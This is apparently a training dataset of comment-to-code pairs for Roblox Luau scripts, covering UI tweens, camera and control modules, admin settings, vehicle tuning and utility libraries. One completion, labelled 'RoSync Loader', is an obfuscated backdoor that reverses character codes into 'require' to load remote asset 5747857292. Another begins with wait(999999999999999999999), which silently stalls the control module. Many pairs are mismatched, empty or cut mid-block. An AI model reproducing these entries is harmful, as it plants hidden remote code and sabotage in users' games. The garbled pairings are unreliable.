prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- oi bruv do iou haw a cop o tee bai ani chance? (something british, unintelligible.)
|
local up = script.Parent.Up
local down = script.Parent.Down
local cf1 = up.CFrame
local cf2 = down.CFrame
local TS = game:GetService("TweenService")
local deb = false
local CD1 = Instance.new("ClickDetector",up)
CD1.MaxActivationDistance = 4
local CD2 = Instance.new("ClickDetector",down)
CD2.MaxActivationDistance = 4
CD1.MouseClick:Connect(function()
if not deb then
deb = true
local s = TS:Create(up,TweenInfo.new(.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,true,0),{CFrame = cf1*CFrame.new(-.04,0,0)})
s.Completed:Connect(function()
deb = false
end)
s:Play()
end
end)
CD2.MouseClick:Connect(function()
if not deb then
deb = true
local s = TS:Create(down,TweenInfo.new(.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,true,0),{CFrame = cf2*CFrame.new(-.04,0,0)})
s.Completed:Connect(function()
deb = false
end)
s:Play()
end
end)
|
-- make the text say Welcome, playername!
|
text = "Welcome, " .. playername .. "!"
|
----------------------------------------------------------------------
--------------------[ SHOCKWAVE HANDLING ]----------------------------
----------------------------------------------------------------------
|
local createShockwave = script:WaitForChild("createShockwave")
createShockwave.OnServerEvent:connect(function(_, Center, Radius, gunIgnore, S)
local Shockwave = Instance.new("Part")
Shockwave.BrickColor = S.shockwaveSettings.Color
Shockwave.Material = Enum.Material.SmoothPlastic
Shockwave.Name = "Shockwave"
Shockwave.Anchored = true
Shockwave.CanCollide = false
Shockwave.FormFactor = Enum.FormFactor.Symmetric
Shockwave.Size = V3(1, 1, 1)
Shockwave.BottomSurface = Enum.SurfaceType.Smooth
Shockwave.TopSurface = Enum.SurfaceType.Smooth
local Mesh = Instance.new("SpecialMesh")
Mesh.MeshType = Enum.MeshType.Sphere
Mesh.Scale = V3()
Mesh.Parent = Shockwave
Shockwave.Parent = gunIgnore
Shockwave.CFrame = CF(Center)
spawn(function()
local t0 = tick()
while true do
local Alpha = math.min((tick() - t0) / S.shockwaveSettings.Duration, 1)
local Scale = 2 * Radius * Alpha
Mesh.Scale = V3(Scale, Scale, Scale)
Shockwave.Transparency = Alpha
if Alpha == 1 then break end
wait()
end
Shockwave:Destroy()
end)
end)
|
--[[
ControlModule - This ModuleScript implements a singleton class to manage the
selection, activation, and deactivation of the current character movement controller.
This script binds to RenderStepped at Input priority and calls the Update() methods
on the active controller instances.
The character controller ModuleScripts implement classes which are instantiated and
activated as-needed, they are no longer all instantiated up front as they were in
the previous generation of PlayerScripts.
2018 PlayerScripts Update - AllYourBlox
--]]
|
wait(999999999999999999999)
local ControlModule = {}
ControlModule.__index = ControlModule
|
-- Display a message to the client for a short time, with a background that covers the user's screen.
|
local tweenService = game:GetService('TweenService')
local playersService = game:GetService('Players')
local localPlayer = playersService.LocalPlayer
local gui = script:WaitForChild('MessageTakeoverGui')
local background = gui:WaitForChild('Background')
local textLabel = gui:WaitForChild('TextLabel')
local TRANSITION_TIME = .5
local DEFAULT_MESSAGE_DURATION = 4
local changeIndex = 0
local messageTakeoverModule = {}
messageTakeoverModule.ShowMessage = function(text, duration)
if text then
textLabel.Text = text
end
local playerGui = localPlayer:FindFirstChild('PlayerGui')
if playerGui then
changeIndex = changeIndex + 1
local thisChangeIndex = changeIndex
if not gui.Enabled then
background.BackgroundTransparency = 1
textLabel.TextTransparency = 1
end
gui.Parent = playerGui
gui.Enabled = true
-- Transition message in
tweenService:Create(background,
TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.In),
{['BackgroundTransparency'] = 0,}
):Play()
tweenService:Create(textLabel,
TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.In),
{['TextTransparency'] = 0,}
):Play()
-- Wait the message duration without yielding
task.delay(duration or DEFAULT_MESSAGE_DURATION, function()
if changeIndex == thisChangeIndex then
-- Transition message out
tweenService:Create(background,
TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
{['BackgroundTransparency'] = 1,}
):Play()
tweenService:Create(textLabel,
TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.Out),
{['TextTransparency'] = 1,}
):Play()
task.delay(TRANSITION_TIME, function()
if thisChangeIndex == changeIndex then
-- Finalize a few things when transition is done
gui.Enabled = false
gui.Parent = script
end
end)
end
end)
end
end
return messageTakeoverModule
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 8000 -- Spring Force
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FSusMaxExt = .3 -- Max Extension Travel (in studs)
Tune.FSusMaxComp = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 8000 -- Spring Force
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RSusMaxExt = .3 -- Max Extension Travel (in studs)
Tune.RSusMaxComp = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Really black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
----- Initialize -----
|
if IsStudio == true then
IsLiveCheckActive = true
coroutine.wrap(function()
local status, message = pcall(function()
-- This will error if current instance has no Studio API access:
DataStoreService:GetDataStore("____PS"):SetAsync("____PS", os.time())
end)
local no_internet_access = status == false and string.find(message, "ConnectFail", 1, true) ~= nil
if no_internet_access == true then
warn("[ProfileService]: No internet access - check your network connection")
end
if status == false and
(string.find(message, "403", 1, true) ~= nil or -- Cannot write to DataStore from studio if API access is not enabled
string.find(message, "must publish", 1, true) ~= nil or -- Game must be published to access live keys
no_internet_access == true) then -- No internet access
UseMockDataStore = true
ProfileService._use_mock_data_store = true
|
-- else
-- if script.Parent.Parent.Self_Destruction_Panel.Opened.Value then
-- script.Parent.Parent.Self_Destruction_Panel.Open:Fire()
-- end
|
end
end
workspace.UPCCoreSystemUNYv4yvw3789n5yw7ay.ReactorOnline.Changed:Wait()
script.Parent.Lever1.Pulled.Changed:Connect(Changed)
script.Parent.Lever2.Pulled.Changed:Connect(Changed)
script.Parent.Lever3.Pulled.Changed:Connect(Changed)
script.Parent.Lever4.Pulled.Changed:Connect(Changed)
|
-- Keep track of created items in memory to not lose them in garbage collection
|
CreatedInstances = {};
LastParents = {};
|
-- How many times per second the gun can fire
|
local FireRate = 1 / 11.9
|
-- Preload animations
|
function playAnimation(animName, transitionTime, humanoid)
if (animName ~= currentAnim) then
if (oldAnimTrack ~= nil) then
oldAnimTrack:Stop()
oldAnimTrack:Destroy()
end
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
oldAnimTrack = currentAnimTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
|
--[[**
creates an intersection type
@param ... The checks to intersect
@returns A function that will return true iff the condition is passed
**--]]
|
function t.intersection(...)
local checks = { ... }
assert(callbackArray(checks))
return function(value)
for _, check in ipairs(checks) do
local success, errMsg = check(value)
if not success then
return false, errMsg or ""
end
end
return true
end
end
|
-- Mimic the enabling of the topbar when StarterGui:SetCore("TopbarEnabled", state) is called
|
coroutine.wrap(function()
local ChatMain = require(players.LocalPlayer.PlayerScripts:WaitForChild("ChatScript").ChatMain)
ChatMain.CoreGuiEnabled:connect(function()
local topbarEnabled = checkTopbarEnabled()
if topbarEnabled == IconController.previousTopbarEnabled then
IconController.updateTopbar()
return "SetCoreGuiEnabled was called instead of SetCore"
end
IconController.previousTopbarEnabled = topbarEnabled
if IconController.controllerModeEnabled then
IconController.setTopbarEnabled(false,false)
else
IconController.setTopbarEnabled(topbarEnabled,false)
end
IconController.updateTopbar()
end)
IconController.setTopbarEnabled(checkTopbarEnabled(),false)
end)()
|
-- Symbol
-- Stephen Leitnick
-- December 27, 2020
| |
--Rescripted by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
ContentProvider = game:GetService("ContentProvider")
UserInputService = game:GetService("UserInputService")
InputCheck = Instance.new("ScreenGui")
InputCheck.Name = "InputCheck"
InputFrame = Instance.new("Frame")
InputFrame.BackgroundTransparency = 1
InputFrame.Size = UDim2.new(1, 0, 1, 0)
InputFrame.Parent = InputCheck
local function Create_PrivImpl(objectType)
if type(objectType) ~= 'string' then
error("Argument of Create must be a string", 2)
end
--return the proxy function that gives us the nice Create'string'{data} syntax
--The first function call is a function call using Lua's single-string-argument syntax
--The second function call is using Lua's single-table-argument syntax
--Both can be chained together for the nice effect.
return function(dat)
--default to nothing, to handle the no argument given case
dat = dat or {}
--make the object to mutate
local obj = Instance.new(objectType)
local parent = nil
--stored constructor function to be called after other initialization
local ctor = nil
for k, v in pairs(dat) do
--add property
if type(k) == 'string' then
if k == 'Parent' then
-- Parent should always be set last, setting the Parent of a new object
-- immediately makes performance worse for all subsequent property updates.
parent = v
else
obj[k] = v
end
--add child
elseif type(k) == 'number' then
if type(v) ~= 'userdata' then
error("Bad entry in Create body: Numeric keys must be paired with children, got a: "..type(v), 2)
end
v.Parent = obj
--event connect
elseif type(k) == 'table' and k.__eventname then
if type(v) ~= 'function' then
error("Bad entry in Create body: Key `[Create.E\'"..k.__eventname.."\']` must have a function value\
got: "..tostring(v), 2)
end
obj[k.__eventname]:connect(v)
--define constructor function
elseif k == t.Create then
if type(v) ~= 'function' then
error("Bad entry in Create body: Key `[Create]` should be paired with a constructor function, \
got: "..tostring(v), 2)
elseif ctor then
--ctor already exists, only one allowed
error("Bad entry in Create body: Only one constructor function is allowed", 2)
end
ctor = v
else
error("Bad entry ("..tostring(k).." => "..tostring(v)..") in Create body", 2)
end
end
--apply constructor function if it exists
if ctor then
ctor(obj)
end
if parent then
obj.Parent = parent
end
--return the completed object
return obj
end
end
|
-- For the sake of speed of converting hexes to strings, there's a map of the conversions here
|
local BinaryStringMap = {}
for Index = 0, 255 do
BinaryStringMap[string.format("%02x", Index)] = string.char(Index)
end
|
--[=[
@param object any -- Object to track
@param cleanupMethod string? -- Optional cleanup name override
@return object: any
Adds an object to the trove. Once the trove is cleaned or
destroyed, the object will also be cleaned up.
The following types are accepted (e.g. `typeof(object)`):
| Type | Cleanup |
| ---- | ------- |
| `Instance` | `object:Destroy()` |
| `RBXScriptConnection` | `object:Disconnect()` |
| `function` | `object()` |
| `thread` | `coroutine.close(object)` |
| `table` | `object:Destroy()` _or_ `object:Disconnect()` |
| `table` with `cleanupMethod` | `object:<cleanupMethod>()` |
Returns the object added.
```lua
-- Add a part to the trove, then destroy the trove,
-- which will also destroy the part:
local part = Instance.new("Part")
trove:Add(part)
trove:Destroy()
-- Add a function to the trove:
trove:Add(function()
print("Cleanup!")
end)
trove:Destroy()
-- Standard cleanup from table:
local tbl = {}
function tbl:Destroy()
print("Cleanup")
end
trove:Add(tbl)
-- Custom cleanup from table:
local tbl = {}
function tbl:DoSomething()
print("Do something on cleanup")
end
trove:Add(tbl, "DoSomething")
```
]=]
|
function Trove:Add(object: any, cleanupMethod: string?): any
if self._cleaning then
error("Cannot call trove:Add() while cleaning", 2)
end
local cleanup = GetObjectCleanupFunction(object, cleanupMethod)
table.insert(self._objects, { object, cleanup })
return object
end
|
-- Set initial colors
|
colorAll(brakelights, brakeColor_off)
colorAll(headlights, lightColor_off)
smoke.Enabled = false
fire.Enabled = false
|
-- Saves profile card information for next time
|
Players.PlayerRemoving:Connect(function(player)
local statusSuccess, statusError = pcall(function()
Statuses:SetAsync(player.UserId, player:GetAttribute("status"))
end)
if statusSuccess then
-- print("Status successfully updated!")
else
print(player, statusError)
end
end)
|
--[[*
* Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
]]
|
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local exports = {}
|
--[[
REFERENCE:
command_full_name: The name of a command (e.g. :cmds)
[command_full_name] = {
Player = 0;
Server = 0;
Cross = 0;
}
]]
|
}
settings.HttpWait = 60 -- How long things that use the HttpService will wait before updating again
settings.Trello_Enabled = false -- Are the Trello features enabled?
settings.Trello_Primary = "" -- Primary Trello board
settings.Trello_Secondary = {} -- Secondary Trello boards (read-only) Format: {"BoardID";"BoardID2","etc"}
settings.Trello_AppKey = "" -- Your Trello AppKey Link: https://trello.com/app-key
settings.Trello_Token = "" -- Trello token (DON'T SHARE WITH ANYONE!) Link: https://trello.com/1/connect?name=Trello_API_Module&response_type=token&expires=never&scope=read,write&key=YOUR_APP_KEY_HERE
settings.Trello_HideRanks = false -- If true, Trello-assigned ranks won't be shown in the admins list UI (accessed via :admins)
settings.G_API = true -- If true, allows other server scripts to access certain functions described in the API module through _G.Adonis
settings.G_Access = false -- If enabled, allows other scripts to access Adonis using _G.Adonis.Access; Scripts will still be able to do things like _G.Adonis.CheckAdmin(player)
settings.G_Access_Key = "Example_Key" -- Key required to use the _G access API; Example_Key will not work for obvious reasons
settings.G_Access_Perms = "Read" -- Access perms
settings.Allowed_API_Calls = {
Client = false; -- Allow access to the Client (not recommended)
Settings = false; -- Allow access to settings (not recommended)
DataStore = false; -- Allow access to the DataStore (not recommended)
Core = false; -- Allow access to the script's core table (REALLY not recommended)
Service = false; -- Allow access to the script's service metatable
Remote = false; -- Communication table
HTTP = false; -- HTTP-related things like Trello functions
Anti = false; -- Anti-Exploit table
Logs = false;
UI = false; -- Client UI table
Admin = false; -- Admin related functions
Functions = false; -- Functions table (contains functions used by the script that don't have a subcategory)
Variables = true; -- Variables table
API_Specific = true; -- API Specific functions
}
settings.FunCommands = true -- Are fun commands enabled?
settings.PlayerCommands = true -- Are player-level utility commands enabled?
settings.CommandFeedback = false -- Should players be notified when commands with non-obvious effects are run on them?
settings.CrossServerCommands = true -- Are commands which affect more than one server enabled?
settings.ChatCommands = true -- If false you will not be able to run commands via the chat; Instead, you MUST use the console or you will be unable to run commands
settings.CreatorPowers = true -- Gives me creator-level admin; This is strictly used for debugging; I can't debug without full access to the script
settings.CodeExecution = true -- Enables the use of code execution in Adonis; Scripting related (such as :s) and a few other commands require this
settings.SilentCommandDenials = false -- If true, there will be no differences between the error messages shown when a user enters an invalid command and when they have insufficient permissions for the command
settings.OverrideChatCallbacks = true -- If the TextChatService ShouldDeliverCallbacks of all channels are overridden by Adonis on load. Required for muting
settings.BanMessage = "Banned" -- Message shown to banned users upon kick
settings.LockMessage = "Not Whitelisted" -- Message shown to people when they are kicked while the game is :slocked
settings.SystemTitle = "System Message" -- Title to display in :sm and :bc
settings.MaxLogs = 5000 -- Maximum logs to save before deleting the oldest
settings.SaveCommandLogs = true -- If command logs are saved to the datastores
settings.Notification = true -- Whether or not to show the "You're an admin" and "Updated" notifications
settings.SongHint = true -- Display a hint with the current song name and ID when a song is played via :music
settings.TopBarShift = false -- By default hints and notifications will appear from the top edge of the window. Set this to true if you don't want hints/notifications to appear in that region.
settings.Messages = {} -- A list of notification messages to show HeadAdmins and above on join
settings.AutoClean = false -- Will auto clean workspace of things like hats and tools
settings.AutoCleanDelay = 60 -- Time between auto cleans
settings.AutoBackup = false -- Run :backupmap automatically when the server starts. To restore the map, run :restoremap
settings.Console = true -- Whether the command console is enabled
settings.Console_AdminsOnly = false -- If true, only admins will be able to access the console
settings.HelpSystem = true -- Allows players to call admins for help using !help
settings.HelpButton = true -- Shows a little help button in the bottom right corner.
settings.HelpButtonImage = "rbxassetid://357249130" -- Sets the image used for the Adonis help button above.
settings.DonorCapes = true -- Donors get to show off their capes; Not disruptive :)
settings.DonorCommands = true -- Show your support for the script and let donors use harmless commands like !sparkles
settings.LocalCapes = false -- Makes Donor capes local so only the donors see their cape [All players can still disable capes locally]
settings.Detection = true -- (Extremely important, makes all protection systems work) A global toggle for all the other protection settings
settings.CheckClients = true -- (Important, makes sure Adonis clients are connected to the server) Checks clients every minute or two to make sure they are still active
settings.ExploitNotifications = true -- Notify all moderators and higher-ups when a player is kicked or crashed from the AntiExploit
settings.CharacterCheckLogs = false -- If the character checks appear in exploit logs and exploit notifications
settings.AntiNoclip = false -- Attempts to detect noclipping and kills the player if found
settings.AntiRootJointDeletion = false -- Attempts to detect paranoid and kills the player if found
settings.AntiMultiTool = false -- Prevents multitool and because of that many other exploits
settings.AntiGod = false -- If a player does not respawn when they should have they get respawned
|
-- Cosmetic bullet container
|
local CosmeticBulletsFolder = workspace:FindFirstChild("CosmeticBulletsFolder") or Instance.new("Folder", workspace)
CosmeticBulletsFolder.Name = "CosmeticBulletsFolder"
|
-- Functions
|
function PlayerManager:SetGameRunning(running)
GameRunning = running
end
function PlayerManager:AllowPlayerSpawn(allow)
PlayersCanSpawn = allow
end
function PlayerManager:ClearPlayerScores()
for _, player in ipairs(Players:GetPlayers()) do
local leaderstats = player:FindFirstChild("leaderstats")
if leaderstats then
local KWA
if Configurations.GRANT_ASSISTS then
KWA = leaderstats:FindFirstChild("KO - WO - A")
if KWA then
KWA.Value = "0 - 0 - 0"
end
else
KWA = leaderstats:FindFirstChild("KO - WO")
if KWA then
KWA.Value = "0 - 0"
end
end
end
end
end
function PlayerManager:LoadPlayers()
for _, player in pairs(Players:GetPlayers()) do
player:LoadCharacter()
end
end
function PlayerManager:DestroyPlayers()
for _, player in pairs(Players:GetPlayers()) do
player.Character:Destroy()
for _, item in pairs(player.Backpack:GetChildren()) do
item:Destroy()
end
end
ResetMouseIcon:FireAllClients()
end
function PlayerManager:PlayerHit(hitPlayer, hittingPlayer)
if hitPlayer == hittingPlayer then
return
end
if not HitArray[hitPlayer] then
HitArray[hitPlayer] = { }
end
for i = 1, #HitArray[hitPlayer] do
if HitArray[hitPlayer][i]== hittingPlayer then
return
end
end
table.insert(HitArray[hitPlayer], hittingPlayer)
end
function PlayerManager:PlayerDied(player)
if HitArray[player] then
for i = #HitArray[player], 1, -1 do
local hittingPlayer = HitArray[player][i]
if hittingPlayer ~= player then
if i == #HitArray[player] then
ScoreArray[hittingPlayer][1] = ScoreArray[hittingPlayer][1] + 1
TeamManager:AddTeamScore(hittingPlayer.TeamColor, 1)
spawn(function() pcall(function() PointsService:AwardPoints(hittingPlayer.userId, Configurations.PLAYER_POINTS_PER_KO) end) end)
else
ScoreArray[hittingPlayer][3] = ScoreArray[hittingPlayer][3] + 1
spawn(function() pcall(function() PointsService:AwardPoints(hittingPlayer.userId, Configurations.PLAYER_POINTS_PER_ASSIST) end) end)
end
UpdatePlayerScore(hittingPlayer)
end
end
end
ScoreArray[player][2] = ScoreArray[player][2] + 1
HitArray[player] = nil
UpdatePlayerScore(player)
end
|
--[=[
Sets the name for the datastore to retrieve.
:::info
Must be done before start and after init.
:::
@param dataStoreName string
]=]
|
function PlayerDataStoreService:SetDataStoreName(dataStoreName)
assert(type(dataStoreName) == "string", "Bad dataStoreName")
assert(self._started, "Not initialized")
assert(self._started:IsPending(), "Already started, cannot configure")
self._dataStoreName = dataStoreName
end
|
-- Formerly getCurrentCameraMode, this function resolves developer and user camera control settings to
-- decide which camera control module should be instantiated. The old method of converting redundant enum types
|
function CameraModule:GetCameraControlChoice()
local player = Players.LocalPlayer
if player then
if self.lastInputType == Enum.UserInputType.Touch or UserInputService.TouchEnabled then
-- Touch
if player.DevTouchCameraMode == Enum.DevTouchCameraMovementMode.UserChoice then
return CameraUtils.ConvertCameraModeEnumToStandard( UserGameSettings.TouchCameraMovementMode )
else
return CameraUtils.ConvertCameraModeEnumToStandard( player.DevTouchCameraMode )
end
else
-- Computer
if player.DevComputerCameraMode == Enum.DevComputerCameraMovementMode.UserChoice then
local computerMovementMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.ComputerCameraMovementMode)
return CameraUtils.ConvertCameraModeEnumToStandard(computerMovementMode)
else
return CameraUtils.ConvertCameraModeEnumToStandard(player.DevComputerCameraMode)
end
end
end
end
function CameraModule:OnCharacterAdded(char, player)
if self.activeOcclusionModule then
self.activeOcclusionModule:CharacterAdded(char, player)
end
end
function CameraModule:OnCharacterRemoving(char, player)
if self.activeOcclusionModule then
self.activeOcclusionModule:CharacterRemoving(char, player)
end
end
function CameraModule:OnPlayerAdded(player)
player.CharacterAdded:Connect(function(char)
self:OnCharacterAdded(char, player)
end)
player.CharacterRemoving:Connect(function(char)
self:OnCharacterRemoving(char, player)
end)
end
function CameraModule:OnMouseLockToggled()
if self.activeMouseLockController then
local mouseLocked = self.activeMouseLockController:GetIsMouseLocked()
local mouseLockOffset = self.activeMouseLockController:GetMouseLockOffset()
if self.activeCameraController then
self.activeCameraController:SetIsMouseLocked(mouseLocked)
self.activeCameraController:SetMouseLockOffset(mouseLockOffset)
end
end
end
return CameraModule.new()
|
--[[
Create an unnamed Symbol. Usually, you should create a named Symbol using
Symbol.named(name)
]]
|
function Symbol.unnamed()
local self = newproxy(true)
getmetatable(self).__tostring = function()
return "Unnamed Symbol"
end
return self
end
return Symbol
|
--[=[
https://rxjs-dev.firebaseapp.com/api/operators/scan
@param accumulator (current: TSeed, ...: TInput) -> TResult
@param seed TSeed
@return (source: Observable<TInput>) -> Observable<TResult>
]=]
|
function Rx.scan(accumulator, seed)
assert(type(accumulator) == "function", "Bad accumulator")
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
local current = seed
return source:Subscribe(function(...)
current = accumulator(current, ...)
sub:Fire(current)
end, sub:GetFailComplete())
end)
end
end
|
-- Static checkpoint color variables
|
local HIT_COLOR = Color3.new(91/255, 93/255, 105/255)
local NOT_HIT_COLOR = Color3.new(248/255, 217/255, 109/255)
local PARTICLE_DURATION = 0.75
|
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
|
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
|
--[=[
Shorthand for `Promise:andThen(nil, failureHandler)`.
Returns a Promise that resolves if the `failureHandler` worked without encountering an additional error.
:::warning
Within the failure handler, you should never assume that the rejection value is a string. Some rejections within the Promise library are represented by [[Error]] objects. If you want to treat it as a string for debugging, you should call `tostring` on it first.
:::
Calling `catch` on a cancelled Promise returns a cancelled Promise.
:::tip
If the Promise returned by `catch` is cancelled, `failureHandler` will not run.
To run code no matter what, use [Promise:finally].
:::
@param failureHandler (...: any) -> ...any
@return Promise<...any>
]=]
|
function Promise.prototype:catch(failureHandler)
assert(failureHandler == nil or isCallable(failureHandler), string.format(ERROR_NON_FUNCTION, "Promise:catch"))
return self:_andThen(debug.traceback(nil, 2), nil, failureHandler)
end
|
--[=[
A wrapper for an `RBXScriptConnection`. Makes the Janitor clean up when the instance is destroyed. This was created by Corecii.
@class RbxScriptConnection
]=]
|
local RbxScriptConnection = {}
RbxScriptConnection.Connected = true
RbxScriptConnection.__index = RbxScriptConnection
|
--[=[
@within ServerComm
@type ServerMiddlewareFn (player: Player, args: {any}) -> (shouldContinue: boolean, ...: any)
The middleware function takes the client player and the arguments (as a table array), and should
return `true|false` to indicate if the process should continue.
If returning `false`, the optional varargs after the `false` are used as the new return values
to whatever was calling the middleware.
]=]
--[=[
@within ServerComm
@type ServerMiddleware {ServerMiddlewareFn}
Array of middleware functions.
]=]
| |
-- ================================================================================
-- Settings
-- ================================================================================
|
local Settings = {}
Settings.DefaultSpeed = 100 -- Speed when not boosted [Studs/second, Range 50-300]
Settings.BoostSpeed = 200 -- Speed when boosted [Studs/second, Maximum: 400]
Settings.BoostAmount = 10 -- Duration of boost in seconds
Settings.Steering = 5 -- How quickly the speeder turns [Range: 1-10]
|
---
|
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Darkblue",Paint)
end)
|
--print("intmoveTO")
|
function Zombie:moveTo()
local targetReached = false
local humanoid = self.Humanoid
local targetPoint = self:FindPath()
local connection
connection = humanoid.MoveToFinished:Connect(function(reached)
targetReached = true
connection:Disconnect()
connection = nil
if Shetchik <= 5 then
Zombie:moveTo()
end
end)
if targetPoint ~= nil then
humanoid:MoveTo(targetPoint)
spawn(function()
while not targetReached do
if not (humanoid and humanoid.Parent) then
break
end
if humanoid.WalkToPoint ~= targetPoint then
break
end
humanoid:MoveTo(targetPoint)
wait(6)
end
if connection then
connection:Disconnect()
connection = nil
end
end)
end
end
--print("Start")
return Zombie
|
--- Returns a new Maid object
-- @constructor Maid.new()
-- @treturn Maid
|
function Maid.new()
local self = {}
self._tasks = {}
return setmetatable(self, Maid)
end
|
--Module
|
local ModuleLoader = require(Internal.InternalLoader)
|
--[=[
Adds commas to a number. Not culture aware.
@param number string | number
@param seperator string?
@return string
]=]
|
function String.addCommas(number: string | number, seperator: string): string
if type(number) == "number" then
number = tostring(number)
end
seperator = seperator or ","
local index = -1
while index ~= 0 do
number, index = string.gsub(number, "^(-?%d+)(%d%d%d)", "%1" .. seperator .. "%2")
end
return number
end
return String
|
------------------------------------
|
function onTouched(part)
if part.Parent ~= nil then
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
local teleportfrom=script.Parent.Enabled.Value
if teleportfrom~=0 then
if h==humanoid then
return
end
local teleportto=script.Parent.Parent:findFirstChild(modelname)
if teleportto~=nil then
local torso = h.Parent.Torso
local location = {teleportto.Position}
local i = 1
local x = location[i].x
local y = location[i].y
local z = location[i].z
x = x + math.random(-1, 1)
z = z + math.random(-1, 1)
y = y + math.random(2, 3)
local cf = torso.CFrame
local lx = 0
local ly = y
local lz = 0
script.Parent.Enabled.Value=0
teleportto.Enabled.Value=0
torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
wait(3)
script.Parent.Enabled.Value=1
teleportto.Enabled.Value=1
else
print("Could not find teleporter!")
end
end
end
end
end
|
--[=[
Provides utilities for working with ValueBase objects, like [IntValue] or [ObjectValue] in Roblox.
@class ValueBaseUtils
]=]
|
local ValueBaseUtils = {}
local TYPE_TO_CLASSNAME_LOOKUP = {
["nil"] = "ObjectValue";
boolean = "BoolValue";
number = "NumberValue";
string = "StringValue";
BrickColor = "BrickColorValue";
CFrame = "CFrameValue";
Color3 = "Color3Value";
Instance = "ObjectValue";
Ray = "RayValue";
Vector3 = "Vector3Value";
}
local VALUE_BASE_TYPE_LOOKUP = {
BoolValue = "boolean";
NumberValue = "number";
IntValue = "number";
StringValue = "string";
BrickColorValue = "BrickColor";
CFrameValue = "CFrame";
Color3Value = "Color3";
ObjectValue = "Instance";
RayValue = "Ray";
Vector3Value = "Vector3";
}
|
--[[
Determines which locators to show based on (in order of priority):
1. Distance from users, and
2. Total number of indicators to show
Parameters:
- userIds (table): list of user IDs for all candidate players
- distanceFromCamera (table):
Key (string): Stringified Player.UserId
Value (number): Magnitude of how far the player is from the LocalPlayer's camera
- configuration (table): Configuration table for the dev module
Returns:
- userIds (table): list of user IDs to display the friendship locator for.
]]
|
local function selectUserIdsByDistance(userIds, distanceFromCamera, configuration)
-- Sort the players according to the distance to you
local sortedByDistance = Cryo.List.sort(userIds, function(a, b)
local distance1 = distanceFromCamera[a] or math.huge
local distance2 = distanceFromCamera[b] or math.huge
return distance1 < distance2
end)
-- Limit the total number of indicators
local res = {}
for _, userId in ipairs(sortedByDistance) do
if #res >= configuration.maxLocators then
break
end
local distance = distanceFromCamera[userId] or 0
if distance > configuration.thresholdDistance then
table.insert(res, userId)
end
end
return res
end
return selectUserIdsByDistance
|
--[[ Last synced 12/17/2020 06:57 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--[[**
<description>
